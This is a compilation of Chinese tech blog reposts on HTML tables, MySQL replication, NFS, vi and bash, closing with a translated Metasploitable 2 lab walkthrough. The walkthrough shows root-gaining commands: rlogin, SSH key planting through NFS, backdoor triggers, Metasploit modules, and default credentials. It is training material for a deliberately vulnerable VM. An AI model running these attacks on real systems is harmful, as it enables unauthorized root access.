<Th>姓名</Th> <Th>国籍</Th> <Th>口头禅</Th> </Tr> <Tr align=right> <td rowspan=2>搞笑班</td> <Td>小新</Td> <Td>日本</Td> <Td>老婆</Td> </Tr> <Tr> <Td>白云</Td> <Td align=right>铁岭</Td> <Td>你太有才了</Td> </Tr> </table> 页面效果图如下: 学员明细表 班级 姓名 国籍 口头禅 搞笑班 小新 日本 老婆 白云 铁岭 你太有才 请同学们对照代码大家体会一下跨行和跨列的用法,我们在第一行中到了行通栏,因为表格的最大单元格数是4,所有如果想第一行只显示一个单元格就必须让rowspan=4,第3行和第4行的第一个单元格利用了列通栏,相当于合并了两列所有colspan=2。接下来我们来看一学习设置单元格间距cellspacing,这样可以使网页中的表格显得不是过于紧凑,由于我今天的实例没有页面截图方式,而是直接在博客中画表格,所以有些效果无法演示出来,比如cellspacing属性和设置单元格边距属性cellpadding,单元格边距是指单元格中内容与单元格边距的距离,这两个属性都是在table标记中定义的,如<table cellspacing=1 cellpadding=1>,(博客中在总结出演示效果了,大家可以自己试一试,并且更改他们的值感觉不同效果。) 设置单元格还有一个重要的学习点就是边框的显示效果,我们可以通过border=#属性定义#为像素值来定义边框的粗细,bordercolor=#定义边框的颜色,还可以定义亮边框的颜色利用bordercolorlight=#,暗边框颜色bordercolordark=#,因为在实际网站开发过程中,会用到更专业的美化工具,所以这部分最后两个属性同学们只需要大体了解即可,重点是前两个属性,表格的默认颜色就是<table bordercolor=black>,这是可以省略的,除非我们想规定其他颜色,同时表格也是可以设置背景颜色的,属性bgcolor=#如<table bgcolor=yellow>是将表格的背景颜色设为黄色。(博客中在总结出演示效果了,大家可以自己试一试,并且更改他们的值感觉不同效果。) 边框的显示效果中除了边框的颜色外还有边框的样式,这就用到了另外两个属性,frame属性可以设置表格边框的样式,利用rules属性可以设置表格内部边框的属性,我们编写的代码如<table frame=# rules=#>规定了边框的样式,下面我们来罗列出这两个属性的值都有哪些,分别代表什么显示效果: frame属性的值: above--显示上边框;border--显示上下左右边框(默认此值);below--显示下边框;hsides--显示上下边框;lhs--显示左边框;rhs--显示右边框;void--不显示边框;vsides--显示左右边框 rules属性的值: all--显示所有内部边框(默认此值);group--显示介于行列边框;none--不显示内部边框; cols--仅显示列边框;rows--仅显示行边框 这些属性的直观效果和word设计出来的基本相似,(博客中在总结出演示效果了,大家可以自己试一试,并且更改他们的值感觉不同效果。)我们在实际运用时,可以根据需要选择不同的值,填充到table边距中。接着我们来学习今天最后一个内容,表格的嵌套,在网页制作过程中,为了使页面的排版更加的精细,所以会用到在一个的单元格中放入一个表格,然后在加入的表格的单元格中添加要显示的内容,比如图片、新闻、flash等,嵌套的方式很简单,就是将<td></td>这个表格的中间加入一个表格就可以了。如<td><table>……</table></td>,嵌套在td标记内部的的table标记是要嵌套的表的代码。我们把上一个例子加工一下,用到我们所讲到的标记属性将表格的嵌套作为今天的结束。 Code 我们看一下,在第11行中我们加入了一个表格,这个表格的属性是背景颜色为黄色,单元格的间距为1像素,单元格的行间距也是1像素,只显示上下边框,并且表格内部也是没有分割线的,这个例子基本把今天所包括是知识点总结了一下,效果图如下: 在这里我再次强调一下,表格在网页制作中非常重要,灵活的试用他们的属性和标记可以增加工作效率及页面效果,所以同学们一下要掌握住,下一节我们将要来学习页面框架。 本文转自叶子文文博客51CTO博客,原文链接http://blog.51cto.com/leafwf/185759如需转载请自行联系原作者 叶子文文
Mysql的主从配置本来是很简单,捉住几个重点就行了:主锁表——主查指针——导数据——从写入指针——从开启进程 这样一个过程就可以了,可是今天我配置的时候还是遇到一些问题: 1、innodb引擎使用了FLUSH TABLES WITH READ LOCK 之后,再用mysqldump导出数据失败,其实也不算是失败只是停在那里导不出来。 解决办法: my.cnf没有对innodb引擎做优化,然后我加入以下配置: innodb_additional_mem_pool_size = 16M innodb_buffer_pool_size = 512M innodb_data_file_path = ibdata1:256M:autoextend innodb_file_io_threads = 4 innodb_thread_concurrency = 8 innodb_flush_log_at_trx_commit = 2 innodb_log_buffer_size = 16M innodb_log_file_size = 128M innodb_log_files_in_group = 3 innodb_max_dirty_pages_pct = 90 innodb_lock_wait_timeout = 120 innodb_file_per_table = 0 重启mysql之后问题解决! 注意对my.cnf做修改前应该对数据库做一次全备份,以免造成数据库损坏那就蛋痛了。 2、从数据库启动slave进程后出现错误: 120116 13:20:13 [ERROR] Slave: According to the master's version ('5.0.30-log'), it is probable that master suffers from this bug: http://bugs.mysql.com/bug.php?id=24432 and thus replicating the current binary log event may make the slave's data become different from the master's data. To take no risk, slave refuses to replicate this event and stops. We recommend that all updates be stopped on the master and slave, that the data of both be manually synchronized, that master's binary logs be deleted, that master be upgraded to a version at least equal to '5.0.38'. Then replication can be restarted. Error_code: 1105 造成这个原因是主数据库的版本太低,解决办法: 升级 主数据库版本 或者是 降低从数据库版本 尽量地保证主从数据库的版本是一致的,避免出现不必要的问题! 3、启动slave进程后出现1062错误,这是一个数据冲突错误 解决办法:可以先找出来重复的数据,然后删掉,也可以在my.cnf中加入slave-skip-errors=126,1062 跳过错误 本文转自运维笔记博客51CTO博客,原文链接http://blog.51cto.com/lihuipeng/764827如需转载请自行联系原作者 lihuipeng
Mysql Can't connect to MySQL server on 'xxxx' (111) 从其它地方远程连接mysql服务器时如此错误 解决办法: # vi /etc/mysql/my.cnf 按a或i进入编辑模式 [mysqld] # bind-address = 127.0.0.1 (即注释掉该行) 按Esc键退出编辑模式 :wq (保存并退出) # service mysql restart 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1613838如需转载请自行联系原作者 yangzhimingg
Ubuntu 安装syslog client # apt-get install sysklogd # vi /etc/syslog.conf 按a或i进入编辑模式 *.* @10.0.1.189 按Esc键退出编辑模式 :wq (保存并退出) # service sysklogd restart 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1622238如需转载请自行联系原作者 yangzhimingg
Ubuntu nfs配置 被挂载端(10.0.0.2): # apt-get install nfs-kernel-server # vi /etc/exports 按a或i进入编辑模式 /home 10.0.0.3(rw,sync,no_subtree_check) (即只允许10.0.0.3挂载/home目录) 按Esc键退出编辑模式 :wq (保存并退出) # service nfs-kernel-server resart 挂载端(10.0.0.3): # vi /etc/fstab 按a或i进入编辑模式 10.0.0.2:/home /home2 nfs rw 0 0 按Esc键退出编辑模式 :wq (保存并退出) # mount -a # ls /home2 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1627418如需转载请自行联系原作者 yangzhimingg
vi + filename vi 分为2种模式,输入模式和命令模式 i 进入输入模式 esc 进入命令模式 退出 ::q :q! 直接退出 :wq!或:x 存盘退出 指令模式进入输入模式 新增 (append) a : 从光标所在位置後面开始新增资料,光标後的资料随新增资料向後移动。 A: 从光标所在列最後面的地方开始新增资料。 插入 (insert) i: 从光标所在位置前面开始插入资料,光标後的资料随新增资料向後移动。 I : 从光标所在列的第一个非空白字符前面开始插入资料。 开始 (open) o : 在光标所在列下新增一列并进入输入模式。 O: 在光标所在列上方新增一列并进入输入模式。 取代 (replace) r : r 会取代光标所在的那一个字符 。 R : R会一直取代光标所在的文字,直到按下 ESC 为止 。 基本的编辑 删除与修改文件的命令: x: 删除光标所在字符。 dd : 删除光标所在的行。 r : 修改光标所在字符,r 後接著要修正的字符。 R: 进入取替换状态,新增文字会覆盖原先文字,直到按 [ESC] 回到指令模式下为止。 s: 删除光标所在字符,并进入输入模式。 S: 删除光标所在的行,并进入输入模式。 光标的移动指令 ctrl+f 屏幕向前移动一页 ctrl+b 屏幕向后移动一页 ctrl+d 屏幕向前移动半页 ctrl+u 屏幕向后移动半页 n(space) 按下数字在按下空格,光标会移动到这一行的n个字符 0 移动到这一行最前面的字符 $ 移动到这一行最后边的字符 H 移动到这个屏幕最上方的那一行 M 移动到这个屏幕最中央的那一行 L 移动到这个屏幕最下方的那一行 G 移动到文档的最下边一行 nG 移动到这个文档的第n行 配合着set nu n <enter> 光标向下移动到第n行 搜索和取代 /word 向光标之后寻找字符串名称为word的字符串 ?word 向光标之前寻找字符串名称为word的字符串 :n1,n2s/word1/word2/g 在第n1 和n2 行之间寻找word1 并修改为word2 :1,$s/word1/word2/g 从第一行到最后一行寻找word1 并修改为word2 :1,$s/word1/word2/gc 从第一行到最后一行寻找word1 并修改为word2 并提示使用者是否需要修改 删除 复制和粘贴 x,X x为向后删除一个字符 X为向前删除一个字符 nx 向后删除n个字符 dd 删除光标所在的一行 20dd 删除从光标开始向下的20行 d1G 删除光标所在到所在行的所有数据 dG 删除光标所在到最后一样的所有数据 yy 复制光标所在的一行 nyy 复制光标向下n行的数据 y1G 复制光标到所在行的数据 yG 复制光标到最后一行的数据 p,P p为复制数据在光标上一行 P 复制数据在光标下一行 J 将光标所在行与下一行结合成一行 c 重复删除多个数据 u 复原前一个动作 指令列命令 :e! 将文档还原到最原始的状态 ZZ 若文档没有更动,不存储离开。若文档已经改动,保存离开 :w filename 将文档另存为一个文档 相当于另存为 :r filename 在编辑中读取另外一个文档 添加到光标所在的后边 :set nu 显示文档行数 :set nonu 取消行数 n1,n2 w filename 将n1-n2的内容保存到filename 这个文档中 :!command 暂时离开vim 到指令模式下执行command的显示结果 例如[:! ls /home] 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1341411如需转载请自行联系原作者 laihuadongcto
Ubuntu开机黑屏或花屏解决办法: 开机进入安全模式或叫恢复模式(双系统开机进入第2项(单系统开机时按shift键)-选择root或drop to root shell promot-点击ok) # mount -o remount / (以读写的权限重新挂载系统) # vi /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset" (原为"quiet splash") :wq # update-grub 注:需先解决vi编辑器的问题 # vi /etc/vim/vimrc.tiny :set nocompatible :set backspace=2 按a或i进入编辑模式 set nocompatible (原为set compatible) set backspace=2 :wq (保存并退出) 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1142697如需转载请自行联系原作者 yangzhimingg
1 循环(命令执行...但参数会变) 如以下形式: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env bash #encoding=utf-8 a=" value1 value2 value3 value4 value5 value6 " for i in $a do echo "cmd $i argv" done 注意: $a 不能写成"$a",否则只能成为一个变量,不能成为被迭代的循环 2 使用系统自带函数,颜色输出 1 2 3 4 5 6 7 #!/bin/bash . /etc/init.d/functions if grep -q swap /etc/fstab;then action "系统存在swap分区" /bin/true else action "系统不存在swap分区" /bin/false fi 注意: 1 使用的是系统库functions中的函数 2 /bin/true返回码($?)是0,/bin/false 返回码是1 3 携带在functions脚本中的环境变量 # Set up a default search path. PATH="/sbin:/usr/sbin:/bin:/usr/bin" export PATH 3 命令块一起执行----花括号的作用之一 #!/bin/bash 1 2 3 4 5 [ -d /data/ ] && { cd /data touch 1 rm -f 1 } 注意: 1 {} 一定要分行写或者带空格,并且cmd后面一定要有分号{ cmd1; cmd2; cmd3; },{cmd1; cmd2; cmd3}这个格式是错误的 2 与小括号中的命令不同,大括号内的命令不会新开一个子shell运行,所以避免使用小括号作为命令组,小括号会新开的一个shell,所以小括号中的变量不能被后面继续使用 参考:http://blog.csdn.net/tttyd/article/details/11742241 4 大括号的展开--发括号的作用二 展开,以逗号进行分隔展开 1 touch {1,2,3}.txt 连续的扩展展开以..分隔顺序列表的起始 1 2 # echo {a..c}.txt a.txt b.txt c.txt 注意:大括号中不允许存在空格 5. ssh的自动化选项 1 ssh $ip -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 -o BatchMode=yes -o StrictHostKeyChecking=no 6 screen screen -S name 创建一个这样的窗口 虚拟终端 screen -ls screen -r name/id 恢复窗口 ctrl +a +d 退出但不关闭窗口 ctrl +a +k 杀掉当前会话窗口 ctrl +a +z 将这个会话挂起回到 SHLVL=1 的状态(fg 1 恢复) screen -d pid/name 将这个窗口置为离线 echo $SHLVL 可以检查是不是在窗口中还是在正常的shell终端中 screen -x 多个人同时可以看处于Attached的窗口动态(适合远程多个人需要看屏 幕) 注: screen 中会话的三种状态 1 Attached 处于运行当中的,如果你要 screen -x name/pid 可以看 2 Detached 处于离线的 screen -r name/pid 可以恢复到那个窗口 3 Dead 处于被kill -9 pid 杀死的,如果需要移除 screen -wipe pid/name 7 shell中生成进度条的函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function sleepPrograss() { [ $# -eq 0 ] && echo "sleepPrograss Usage: sleepPrograss 10 " [ $# -eq 0 ] && return 1 allTime=$1 strDone='' stepTime=$(echo "scale=1; $allTime/100" | bc) for ((i=0; $i<=100; i+=1)) do printf "progress: [%-100s] %d%%\r" $strDone $i sleep $stepTime strDone+='#' done echo } 8. 关于for的几点 #help for 官网说明: 格式1: for: for NAME [in WORDS ... ] ; do COMMANDS; done 当in后面的省略,将默认循环"$@" 格式2: for (( exp1; exp2; exp3 )); do COMMANDS; done exp1 exp2 exp3都是数学算术。支持C语言风格。 举例1: 1 2 3 4 5 6 7 8 9 #!/bin/bash function for_name() { age=$1 echo $age shift 1 for element in "$@" ; do echo $element done } for_name 21 name1 name2 name3 举例2: 1 2 3 4 5 #!/bin/bash a=4 for ((i=1;i<$a;i++)); do echo $i done 9.关于while read line 循环读取行 重点提示: 这里最关键的就是理解read 这个命令的作用 1 while的用法: while COMMANDS; do COMMANDS; done 2 read 的用法: help read Reads a single line from the standard input, or from file descriptor FD if the -u option is supplied. The line is split into fields as with word splitting, and the first word is assigned to the first NAME, the second word to the second NAME, and so on, with any leftover words assigned to the last NAME. Only the characters found in $IFS are recognized as word delimiters. 翻译: read读一行,来自标准输入,或者-u 指定文件描述符。此行用$IFS进行分隔这一行。将分隔后的第一给word给第一个变量,第二个word给第二变量,如果,如果word个数大于name个数,则将最后的word分给最后一个name。 理解起来有点绕。看下面这个例子 1 # echo "word1 word2 word3" | { read name1 name2; echo "name1:$name1"; echo "name2:$name2"; } name1:word1 name2:word2 word3 看到了把,name1被word1给赋值。 name2被word2 和word3 赋值。(因为word个数比name多) 坑1: [root@master std]# echo "abc" | read line [root@master std]# echo $line [root@master std]# 结果为空,为什么呢? 解释:在shell中,管道即创建一子shell,在子shell中 $line为abc,但是执行完成后回到父进程,当然$line就是为空的了(子进程的环境变量是不被父进程继承的) 改成以下就可以了(大括号不会创建一个子shell和管道右边在一个shell环境中): echo "abc" | { read name; echo $name; } 理解2: 什么while却可以,因为管道的右边while都是爱一个subshell中的。 1 2 3 4 5 6 #!/bin/bash cat /etc/issue | while read line; do echo "$line" a=1 done echo "a value is:$a" 如何验证while循环体是在一个subshell的中的呢? 看结果,$a的值为空,因为subshel的遍历是不能被父shell继承的。 10.关于通配符,常用在shell的命令中--区别正则表达式 常用: * 匹配任何包括空或无字符 ? 一个字符 [abc] a、b、c中的任何一个 [1-9] 表示1至9中的任何一个数字 [!1-2] 非1或2的任意一个数字 [!abc] 非a、b、c中的任意一个字符 实践: 创建一系列的日志 touch app{01..23}.log 只显示 app11.log app12.log app21.log app22.log ls app[1-2][1-2]* 11 一个文件中截取指定段 dd 结合skip参数 dd if=messages of=test.out bs=1 skip=1215739518 bs 指定一个block的size大小 skip BLOCKS ibs-sized blocks at start of input 将文件messages文件从1215739518开始读取的内容写入到test.out中 12 du * -sh 报错 如 du: invalid option -- '2' du: invalid option -- '1' du: invalid option -- '6' 使用: du -sh -- * If you pass '--' to the command, that signifies no further options will be sent, so run the command like this: du -fh -- * 本文转自残剑博客51CTO博客,原文链接http://blog.51cto.com/cuidehua/1783616如需转载请自行联系原作者 cuizhiliang
原文地址:https://community.rapid7.com/docs/DOC-1875版权归原作者所有,仅供学习交流之用。 Metasploitable 2 Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。(注:一个关于如何安装的视频教程已经可以访问在Virtual Box Host中安装Metasploitable 2.0教程) 这篇文档罗列了Metasploitable 2的虚拟系统中的许多安全缺陷。目前缺少关于web服务器和web应用方面的安全缺陷。这些缺陷允许本地用户提权是root权限。随着时间的推移,这篇文档会继续更新Metasploitable 中不太重要的安全缺陷。 开始工作 当虚拟系统启动之后,使用用户名msfadmin,和密码msfadmin登陆。使用shell运行ifconfig命令来确认IP地址。 msfadmin@metasploitable:~$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 服务 作为攻击者的操作系统(linux,大多数时候使用BackTrack),我们需要在虚拟机中通过使用nmap来辨认开放的端口。接下来的命令能够扫描目标系统-Metasploitable 2的所有TCP端口。 root@ubuntu:~# nmap -p0-65535 192.168.99.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware) 目标系统中几乎每一个端口监听的服务都给我们提供一个远程接入点。在接下来的章节中,我们将会漫步于这些路径之中。 服务:Unix基础 TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。要利用这个配置,确保rsh客户端已经安装(在ubuntu上),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH。 # rlogin -l root 192.168.99.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~# 这是如此轻而易举办到。接下来我们要查看的是网络文件系统(NFS)。NFS可以通过扫描2049端口或者查询端口映射程序的服务列表进行确认。下面的列子我们将通过rpcinfo来确认NFS,通过showmount -e 来确定“ /”共享(文件系统的根目录)已经被导出。我们需要安装ubuntu中的rpcbind和nfs-common的依赖包。 root@ubuntu:~# rpcinfo -p 192.168.99.131 program vers proto port service 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 53318 status 100024 1 tcp 43729 status 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 46696 nlockmgr 100021 3 udp 46696 nlockmgr 100021 4 udp 46696 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 55852 nlockmgr 100021 3 tcp 55852 nlockmgr 100021 4 tcp 55852 nlockmgr 100005 1 udp 34887 mountd 100005 1 tcp 39292 mountd 100005 2 udp 34887 mountd 100005 2 tcp 39292 mountd 100005 3 udp 34887 mountd 100005 3 tcp 39292 mountd root@ubuntu:~# showmount -e 192.168.99.131 Export list for 192.168.99.131: / * 获取一个系统的可写入的文件系统权限是很简单的。我们需要在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里: root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@ubuntu:~# mkdir /tmp/r00t root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/ root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys root@ubuntu:~# umount /tmp/r00t root@ubuntu:~# ssh root@192.168.99.131 Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~# 服务:后门 Metasploitable2 在21端口上运行着vsftpd服务,一个使用广泛的FTP服务。这个特别的版本包含一个后门允许一个未知的入侵者进入核心代码。这个后门很快就被确认并且移除。但是移除之前已经被少数人下载下来。如果在发送的用户名后面加上”:)“(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。 root@ubuntu:~# telnet 192.168.99.131 21 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ^] telnet> quit Connection closed. root@ubuntu:~# telnet 192.168.99.131 6200 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. id; uid=0(root) gid=0(root) 在Metasploitable2 的6667端口上运行着UnreaIRCD IRC的守护进程。这个版本包含一个后门-运行了几个月都没被注意到。通过在一个系统命令后面添加两个字母”AB“发送给被攻击服务器任意一个监听该端口来触发。metasploit上已经已经有攻击模块来获得一个交互的shell,请看下面列子。 msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.99.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname.. :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your host name; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700 id uid=0(root) gid=0(root) 在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。它的利用是如此简单。 root@ubuntu:~# telnet 192.168.99.131 1524 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root) 服务:无意识的后门 除了上个部分介绍的恶意的后门以外,一些程序的性质本身就类似后门。Metasploitable2 最先安装的是distccd。这个程序可以使大量代码在网络服务器上进行分布式编译。问题是攻击者可以滥用它来实现一些他们想运行的命令。metasploit在下面例子里证明。 msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.99.131 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700 id uid=1(daemon) gid=1(daemon) groups=1(daemon) samba,当配置为文件权限可写同时"wide links" 被允许(默认就是允许),同样可以被作为后门而仅仅是文件共享。下面例子里,metasploit提供一个攻击模块,允许接入一个root文件系统通过一个匿名接入和可写入的共享设置。 root@ubuntu:~# smbclient -L //192.168.99.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.99.131\tmp\rootfs\ msf auxiliary(samba_symlink_traversal) > exit root@ubuntu:~# smbclient //192.168.99.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..] 弱口令 除了上面介绍的公开的后门和错误配置以外,Metasploit2 上不管是系统还是数据口账户都有非常严重的弱口令问题。最初的管理员登陆密码和登录名msfadmin相同。通过查看系统的用户名表,我们可以通过使用缺陷来捕获passwd文件,或者通过Samba枚举这些用户,或者通过暴力破解来获得账号密码。系统中至少有一下弱口令。 Account Name Password msfadmin msfadmin user user postgres postgres sys batman klog 123456789 service service 除了这些系统层面的账户,PostgreSQL 服务可以通过默认的用户名postgres和密码postgres登陆。MySQL 服务也开放,用户名为root同时为空口令。VNC服务提供一个远程桌面接入服务通过使用默认的密码password可以登陆。 易受攻击的web服务 Metasploitable2特意预装了易受攻击的web应用。当系统启动以后web服务会自动运行。访问web应用的方法是,打开一浏览器然后输入网址http://<IP> ,<IP> 就是系统的IP地址。 在这个例子里,系统运行IP地址 192.168.56.101. 打开 http://192.168.56.101/ 来查看web应用的主页。 访问特定的web应用可以点击首页的超链接。如果个人的web应用如果需要被访问,需要在后面增加特定的文件路径。http://<IP> 来创建URL http://<IP>/<应用文件夹>/。举个例子,Mutillidae 需要被访问,在这个例子访问地址为http://192.168.56.101/mutillidae/。而这个应用被安装在系统 /var/www 这个文件夹里。(注:可以通过以下命令查看 ls /var/www)。 在写这篇文章的当前版本,所有web应用程序 mutillidae (NOWASP Mutillidae 2.1.19) dvwa (Damn Vulnerable Web Application) phpMyAdmin tikiwiki (TWiki) tikiwiki-old dav (WebDav) 易受攻击的web服务:Mutillidae Mutillidae web应用包含OWASP 上前十可利用的攻击漏洞,包括HTML-5 web storage, forms caching, and click-jacking等。收DVWA启发,Mutillidae 允许使用者更改安全等级从0(完全没有安全意识)到5(安全)。另外提供三个层次,从“0级-我自己搞”(不要提示)到“2级-小白”(使劲提示)。如果Mutillidae在我们使用注入攻击或者黑的过程中搞坏了,点击"Reset DB" 按钮回复出厂设置。 通过单击菜单栏上的"切换提示"按钮启用应用程序中的提示: Mutillidae 包含至少以下可被攻击的漏洞 Page Vulnerabilities add-to-your-blog.php SQL Injection on blog entry SQL Injection on logged in user name Cross site scripting on blog entry Cross site scripting on logged in user name Log injection on logged in user name CSRF JavaScript validation bypass XSS in the form title via logged in username The show-hints cookie can be changed by user to enable hints even though they are not suppose to show in secure mode arbitrary-file-inclusion.php System file compromise Load any page from any site browser-info.php XSS via referer HTTP header JS Injection via referer HTTP header XSS via user-agent string HTTP header capture-data.php XSS via any GET, POST, or Cookie captured-data.php XSS via any GET, POST, or Cookie config.inc* Contains unencrytped database credentials credits.php Unvalidated Redirects and Forwards dns-lookup.php Cross site scripting on the host/ip field O/S Command injection on the host/ip field This page writes to the log. SQLi and XSS on the log are possible GET for POST is possible because only reading POSTed variables is not enforced. footer.php* Cross site scripting via the HTTP_USER_AGENT HTTP header. framing.php Click-jacking header.php* XSS via logged in user name and signature The Setup/reset the DB menu item canbe enabled by setting the uid value of the cookie to 1 html5-storage.php DOM injection on the add-key error message because the key entered is output into the error message without being encoded index.php* You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value. You can SQL injection the UID cookie value because it is used to do a lookup You can change your rank to admin by altering the UID value HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header This page is responsible for cache-control but fails to do so This page allows the X-Powered-By HTTP header HTML comments There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing log-visit.php SQL injection and XSS via referer HTTP header SQL injection and XSS via user-agent string login.php Authentication bypass SQL injection via the username field and password field SQL injection via the username field and password field XSS via username field JavaScript validation bypass password-generator.php JavaScript injection pen-test-tool-lookup.php JSON injection phpinfo.php This page gives away the PHP server configuration Application path disclosure Platform path disclosure process-commands.php Creates cookies but does not make them HTML only process-login-attempt.php Same as login.php. This is the action page. redirectandlog.php Same as credits.php. This is the action page register.php SQL injection and XSS via the username, signature and password field rene-magritte.php Click-jacking robots.txt Contains directories that are supposed to be private secret-administrative-pages.php This page gives hints about how to discover the server configuration set-background-color.php Cascading style sheet injection and XSS via the color field show-log.php Denial of Service if you fill up the log XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields site-footer-xss-discusson.php XSS via the user agent string HTTP header source-viewer.php Loading of any arbitrary file including operating system files. text-file-viewer.php Loading of any arbitrary web page on the Interet or locally including the sites password files. Phishing user-info.php SQL injection to dump all usernames and passwords via the username field or the password field XSS via any of the displayed fields. Inject the XSS on the register.php page. XSS via the username field user-poll.php Parameter pollution GET for POST XSS via the choice parameter Cross site request forgery to force user choice view-someones-blog.php XSS via any of the displayed fields. 